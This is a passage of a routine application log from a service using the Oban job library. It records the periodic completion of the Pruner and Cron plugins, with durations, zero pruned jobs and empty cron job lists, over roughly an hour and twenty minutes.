{"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:18:38.308 [info] {"source":"oban","duration":1827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:00.469 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:19:08.311 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:19:38.314 [info] {"source":"oban","duration":1702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:00.470 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:20:08.316 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:20:38.318 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:00.471 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:21:08.320 [info] {"source":"oban","duration":958,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:21:38.322 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:00.472 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:22:08.323 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:22:38.326 [info] {"source":"oban","duration":1093,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:00.473 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:23:08.328 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:23:38.330 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:00.474 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:24:08.332 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:24:38.334 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:00.475 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:25:08.336 [info] {"source":"oban","duration":1874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:25:38.339 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:00.476 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:26:08.342 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:26:38.344 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:00.477 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:27:08.346 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:27:38.348 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:00.478 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:28:08.350 [info] {"source":"oban","duration":1253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:28:38.352 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:00.480 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:29:08.354 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:29:38.356 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:00.481 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:30:08.358 [info] {"source":"oban","duration":1620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:30:38.360 [info] {"source":"oban","duration":955,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:00.482 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:31:08.362 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:31:38.364 [info] {"source":"oban","duration":1000,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:00.483 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:32:08.366 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:32:38.368 [info] {"source":"oban","duration":1525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:00.484 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:33:08.370 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:33:38.372 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:00.485 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:34:08.374 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:34:38.376 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:00.486 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:35:08.378 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:35:38.380 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:00.487 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:36:08.382 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:36:38.384 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:00.488 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:37:08.386 [info] {"source":"oban","duration":1326,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:37:38.388 [info] {"source":"oban","duration":1073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:00.489 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:38:08.390 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:38:38.392 [info] {"source":"oban","duration":1312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:00.490 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:39:08.394 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:39:38.396 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:00.491 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:40:08.398 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:40:38.399 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:00.492 [info] {"source":"oban","duration":264,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:41:08.401 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:41:38.403 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:00.493 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:42:08.405 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:42:38.407 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:00.494 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:43:08.409 [info] {"source":"oban","duration":1470,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:43:38.411 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:00.495 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:44:08.413 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:44:38.415 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:00.496 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:45:08.417 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:45:38.419 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:00.497 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:46:08.421 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:46:38.423 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:00.498 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:47:08.425 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:47:38.427 [info] {"source":"oban","duration":1081,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:00.499 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:48:08.429 [info] {"source":"oban","duration":994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:48:38.431 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:00.500 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:49:08.433 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:49:38.435 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:00.501 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:50:08.437 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:50:38.439 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:00.504 [info] {"source":"oban","duration":1966,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:51:08.441 [info] {"source":"oban","duration":1723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:51:38.444 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:00.506 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:52:08.446 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:52:38.448 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:00.507 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:53:08.450 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:53:38.452 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:00.508 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:54:08.454 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:54:38.456 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:00.509 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:55:08.458 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:55:38.460 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:00.510 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:56:08.461 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:56:38.464 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:00.511 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:57:08.466 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:57:38.468 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:00.512 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:58:08.470 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:58:38.472 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:00.513 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 06:59:08.474 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 06:59:38.476 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:00.514 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:00:08.478 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:00:38.480 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:00.515 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:01:08.482 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:01:38.484 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:00.516 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:02:08.486 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:02:38.488 [info] {"source":"oban","duration":1644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:00.518 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:03:08.490 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:03:38.492 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:00.519 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:04:08.494 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:04:38.496 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:00.520 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:05:08.498 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:05:38.500 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:00.521 [info] {"source":"oban","duration":241,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:06:08.502 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:06:38.504 [info] {"source":"oban","duration":1117,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:00.522 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:07:08.506 [info] {"source":"oban","duration":1697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:07:38.509 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:00.523 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:08:08.511 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:08:38.513 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:00.524 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:09:08.515 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:09:38.517 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:00.525 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:10:08.519 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:10:38.521 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:00.526 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:11:08.523 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:11:38.525 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:00.527 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:12:08.527 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:12:38.529 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:00.528 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:13:08.531 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:13:38.533 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:00.529 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:14:08.535 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:14:38.537 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:00.530 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:15:08.539 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:15:38.541 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:00.531 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:16:08.543 [info] {"source":"oban","duration":1510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:16:38.545 [info] {"source":"oban","duration":1270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:00.532 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:17:08.547 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:17:38.549 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:00.533 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:18:08.551 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:18:38.553 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:00.534 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:19:08.555 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:19:38.557 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:00.535 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:20:08.559 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:20:38.561 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:00.536 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:21:08.563 [info] {"source":"oban","duration":1247,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:21:38.565 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:00.537 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:22:08.567 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:22:38.569 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:00.538 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:23:08.571 [info] {"source":"oban","duration":1762,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:23:38.574 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:00.539 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:24:08.576 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:24:38.578 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:00.540 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:25:08.580 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:25:38.582 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:00.541 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:26:08.584 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:26:38.586 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:00.542 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:27:08.588 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:27:38.590 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:00.543 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:28:08.592 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:28:38.594 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:00.544 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:29:08.596 [info] {"source":"oban","duration":1102,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:29:38.598 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:00.545 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:08.600 [info] {"source":"oban","duration":1017,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:38.602 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.546 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:08.604 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:38.606 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.547 [info] {"source":"oban","duration":338,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:08.608 [info] {"source":"oban","duration":1606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:38.610 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.548 [info] {"source":"oban","duration":570,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:08.613 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:38.615 [info] {"source":"oban","duration":1343,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.549 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:08.617 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:38.619 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.550 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:08.621 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:38.623 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.551 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:08.625 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:38.627 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.553 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:08.629 [info] {"source":"oban","duration":1146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:38.631 [info] 